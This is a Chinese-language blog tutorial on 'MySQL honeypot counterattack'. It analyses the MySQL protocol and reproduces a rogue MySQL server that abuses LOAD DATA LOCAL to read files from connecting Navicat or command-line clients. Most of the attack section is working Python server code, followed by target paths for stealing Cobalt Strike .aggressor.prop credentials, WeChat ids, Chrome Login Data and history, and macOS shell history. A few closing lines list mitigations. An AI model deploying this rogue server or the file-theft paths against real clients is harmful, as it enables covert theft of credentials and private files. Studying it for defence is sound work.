更新时间:2022.08.16
前天在网上看到巨佬abc123
分析的一篇文章:
https://mp.weixin.qq.com/s/i8eBT8O2IwCotf7wqnveEw
在这里分析了cs
服务器被人反打的问题,师傅对其中的mysql
蜜罐反制做了复现,并且成功实现反制。在这篇文章中,有一个比较特别的地方:只要连到mysql
就会读取到本地的任意文件,并不需要一定要mysql
连接成功。
这一点比较重要,本文将对mysql
蜜罐来做一个学习,其实在早些时候,ling
师傅已经发过一篇mysql
蜜罐反制的文章了:
https://cloud.tencent.com/developer/article/1856248
但是网上很多文章都是基于Navicat
来连接反制的,本文将对其进行一一复现学习。
本文内容较多,后期我也会录制视频来讲解下。
MySQL
服务端可以利用LOAD DATA LOCAL
命令来读取MYSQL
客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload
。
Load data infile
是MySQL
的一个高效导入数据的方法,它的速度非常快。是MySQL
里一款强大的数据导入工具。
网上有很多文章分析,mysql
蜜罐反制是可以读取到本地的任意文件的,比如:微信id
、Chrome
历史记录等。
先不着急对反制进行学习,在这里先对mysql
进行通讯的过程进行学习。
云服务器vps
上使用phpstudy
开启mysql
,并且将其设置为支持外联。
use mysql; (加载数据库) grant all privileges on *.* to root@'%' identified by '你的密码'; (修改登录主机 % 为任意主机) flush privileges; (刷新权限)
在本地连接一下试试:
1*.*.**.*5
账号:root
密码:***
在这里使用命令行访问的同时打开Wireshark:
到此,分析一下流量。
当前是一个登录的过程:
首先是Greeting
包,返回了服务端的Version
等信息。
第二阶段是用户登录,当前可以看到用户名和密码hash值:
认证成功:
如果是账号或者密码错误的时候:
当我们发送一个查询指令的时候:
但是Navicat
登录认证和以上的稍微有一些不同,在这里以Windows
试用版的Navicat
为例分析下。
本文以Navicat16 试用版为例进行分析,登录流程与上述分析相差不多,在登录认证成功之后多了一个查询的操作:
问题就出在这个位置,下面结合mysql
特性和Navicat
特性来学习。
MySQL服务端可以利用LOAD DATA LOCAL
命令来读取MYSQL
客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload
。
load data infile
语句从一个文本文件中以很高的速度读入一个表中。
首先在本地使用phpstudy
开启数据库,并且使用Navicat
进行连接:
在这里使用命令查询Load data infile
命令是否开启:
show global variables like'local_infile';
当前可以看到在phpstudy
中该功能是默认开启的,如果没有开启的话,可以使用以下命令开启:
set global local_infile=1;
然后新建一个表为test1
,在本地执行以下命令:
load data local infile 'C:/phpstudy2018/PHPTutorial/WWW/1.txt' into table test.test1 fields terminated by '\n';
执行之后,刷新test1
的表:
此时写入成功。
在Navicat
建立一个新的mysql
连接中,一共产生了如下的流量:
在这里和最开始上面的mysql
认证分析相差无异,在这里继续模拟一下load data infile
的功能,看下这个流量有何不同。
以下过程均开启wireshark
分析流量:
远程数据库新建一个表2
:
直接执行一下上面的那个命令,记得修改下表名为test2
:
load data local infile 'C:/phpstudy2018/PHPTutorial/WWW/1.txt' into table test.test2 fields terminated by '\n';
此时执行成功:
刷新一下表之后,数据写入成功:
注意:在这里加载的是客户端的本地文件数据,写入到远程的服务端的数据库中。
在这个过程里面因为流量很杂,所以我们将test2
的表新建之后,删除其中字段的值,将链接断开,只抓取mysql
登录之后,请求文件的操作,整个流量过滤一下。
在整个过滤的数据中,找到了请求读取文件的语句:
重点看一下应答:
将当前的信息分为4个
部分:
在这个图中:
00 00 01
值得是数据包的序号fb
是包的类型fb
开始到最后,为文件名fb
开始到最后的文件名长度,为16进制
的,十六进制的26
转化为十进制为38
。解码情况如下:
https://www.bejson.com/convert/ox2str/
然后读取文件内容到指定位置:
在Navicat
连接mysql
的过程中可以看到,首先需要建立一个连接,然后再发送自动发送SET NAMES utf8mb4
,最后构造Response TABULAR
包的payload
来返回给客户端,然后请求下载客户端的文件。当然,在这个过程中,是人为的请求将本地的文件上传到远程服务器上的,具体流程可以见下图:
图片来源:https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA
通过以上流程可以知道,如果是针对数据库管理软件Navicat
,并且开启了load data infile
功能,理论上来说,就可以进行反制,在这里借用师傅在以下文章中的代码:
https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA
使用socket
模块来模拟一个mysql
认证的流程:
import socket serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 3306 serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) serversocket.bind(("", port)) serversocket.listen(5) while True: # 建立客户端连接 clientsocket,addr = serversocket.accept() print("连接地址: %s" % str(addr)) # 返回版本信息 version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" clientsocket.sendall(version_text) try: # 客户端请求信息 clientsocket.recv(9999) except Exception as e: print(e) # Response OK verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" clientsocket.sendall(verification) try: # SET NAMES utf8mb4 clientsocket.recv(9999) except Exception as e: print(e) # Response TABULAR evil_response = b"\x09\x00\x00\x01\xfb\x43\x3a\x2f\x31\x2e\x74\x78\x74" clientsocket.sendall(evil_response) # file_text print(clientsocket.recv(9999)) clientsocket.close()
在本地运行之后,使用ssh工具去登录:
此时显示mysql
登录成功。
如果使用Navicat
来连接的话:
这里因为Navicat
本身连接之后的操作要比命令行连接要多,所以这里显示失败也是正常的。可以将代码修改修改即可满足。
在满足Navicat
连接mysql
的条件之后,可以知道只需要服务器端来发送一个payload
就可以获取主机的文件了。理论上来说,可以获取的文件类型非常的多,甚至是非常敏感的文件,在这里一一学习下。
我看过非常多的mysql
反制文章,基本上每一个师傅都顺利拿到了微信id
等敏感信息,但是我在复现的时候发现,我没有一次是能成功的,最后发现了问题:
我在复现的时候使用的是Navicat绿色版,打开即用,不需要安装,问题也就出在这,如果想要反制成功的话,必须一定需要安装版的Navicat!!!
错误示范:
环境准备:
Navicat12
试用版
攻击机:linux
靶机:Windows server 2012
、Windows10
所需要的条件:正常安装版本的Navicat
,不能使用绿色版(建议使用正版,版权意识从你我做起)
Navicat本身不需要做任何的配置
脚本来源 :https://cloud.tencent.com/developer/article/1856248
在这里是为了获取Windows
下的计算机用户名。
脚本修改之后:
# coding=utf-8 import socket import os server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 3306 server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(("", port)) server.listen(5) def get_data(filename, client, addr): base_path = os.path.abspath('.') + "/log/" + addr[0] if not os.path.exists(base_path): os.makedirs(base_path) evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包 client.sendall(evil_response) file_data = client.recv(999999) print(file_data) with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f: f.write(file_data) f.close() while True: # 建立客户端连接 client, addr = server.accept() print("连接地址: %s" % str(addr)) # 返回版本信息 version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" client.sendall(version_text) try: # 客户端请求信息 client.recv(9999) except Exception as e: print(e) # Response OK verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" client.sendall(verification) try: # SET NAMES utf8mb4 client.recv(9999) except Exception as e: print(e) # Response TABULAR filename = "C:\\Windows\\PFRO.log" #这里为要读取的文件路径 get_data(filename, client, addr) client.close()
然后启动蜜罐:
配置连接信息,注意,在这里账号密码随意,毕竟mysql
服务都是模拟的。
在这里直接点击连接测试:
此时看下蜜罐:
看下log
文件,此时获得用户名。
在上面获取到主机用户名之后,就可以直接获取微信id,如果微信默认安装的话,在这里的路径就是:
C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.data
现在已经知道了用户名,所以文件名称为:
C:\Users\Administrator\Documents\WeChat Files\All Users\config\config.data
在这里因为靶机上没有这个数据,所以伪造以下,试试:
然后在靶机上连接试试,连接之后就会显示当前的微信id:
在本年hvv
中,很多师傅的cs
被反制,其实这个反制的原理非常简单,cobalt strike
在启动时,用户端会默认生成一个隐藏的文件:.aggressor.prop
,这个文件会在当前用户目录下:
比如当前的用户是Administrator
,那目录就是:
C:\Users\Administrator\.aggressor.prop
.aggressor.prop
文件里面详细记录了cs
连接的账号、密码、端口、插件地址等。
在这里试试:
直接运行,等结果:
在这里获取到你的cs账号密码,反制轻松:
在这里看到当前反制可以理解为一个ssrf
了,可以下载电脑中的大部分文件,具体的有:
chrome的login data,虽然无法解密出密码,但是还是可以获取到对方的一些账号的 ‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/Login Data’ chrome的历史记录 ‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/History’ 参考:https://www.anquanke.com/post/id/215696
其实mac
也是可以反制的
https://mp.weixin.qq.com/s/jLKyCwgbTEbHm8M8SvO0Jg
在mac
中我们通过通过读取系统日志的方式获取用户ID
:
/Users/{用户名}/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9/topinfo.data
/Users/{用户名}/.bash_history /Users/{用户名}/.zsh_history
以上mysql
连接数据库中,均是使用Navicat
这个工具来做的,那现在进行思考:
如果对方不适用Navicat
,直接使用命令行能否达到反制的效果呢?
在这里以Windows
下的mysql
来测试,获取的文件为.aggressor.prop
使用命令:
mysql -h **.*.7*.* -u root -p
此时mysql
显示连接成功:
在这里依旧能够获得cs
的连接信息:
流量:
网上有很多这样的文章,下面这个师傅写的很详细了:
https://mp.weixin.qq.com/s/f30RvhYlB97dXnjzv4_H_Q
我认为最简单的方法:
DBeaver
Navicat
的免安装版本(注意版权问题)当然,现在还有一些问题,因为时间的问题,我没有细细学习,比如对于linux
下的mysql
命令行是否能够进行反制?
等以后有时间的话,再做详细的探索吧,感谢各位师傅的精彩文章。